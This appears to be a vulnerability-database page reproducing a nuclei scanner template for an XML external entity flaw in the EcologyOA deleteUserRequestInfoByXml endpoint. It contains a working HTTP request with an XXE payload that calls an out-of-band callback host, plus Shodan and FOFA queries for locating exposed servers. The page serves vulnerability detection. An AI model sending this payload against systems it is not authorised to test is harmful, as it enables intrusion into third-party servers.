ecology-oa-byxml-xxe: EcologyOA deleteUserRequestInfoByXml - XML External Entity Injection

2025-08-01 ecology-oa-byxml-xxe PoC Public

Description

EcologyOA deleteUserRequestInfoByXml interface has XXE

PoC

id: ecology-oa-byxml-xxe

info:
  name: EcologyOA deleteUserRequestInfoByXml - XML External Entity Injection
  author: SleepingBag945
  severity: high
  description: |
    EcologyOA deleteUserRequestInfoByXml interface has XXE
  classification:
    cwe-id: CWE-611,CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: ecology_JSessionid
    fofa-query: app="泛微-协同办公OA"
  tags: ecology-oa,xxe,vuln

http:
  - raw:
      - |
        POST /rest/ofs/deleteUserRequestInfoByXml HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml
        Accept-Encoding: gzip

        <?xml version="1.0" encoding="utf-8"?>
        <!DOCTYPE syscode SYSTEM "http://{{interactsh-url}}">
        <M><syscode>&send;</syscode></M>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'WfData'

      - type: word
        part: header
        words:
          - 'application/xml'

      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4a0a00473045022100c84427b6b8d181a177e349cf829f67df5954468df7b251f981f9273a001fab0a0220261a41b841bab4b26109c55dceb1b5f952804c121bdd671b9bf1891265e1c043:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/weaver/ecology/ecology-oa-byxml-xxe.yaml

References

Related Vulnerabilities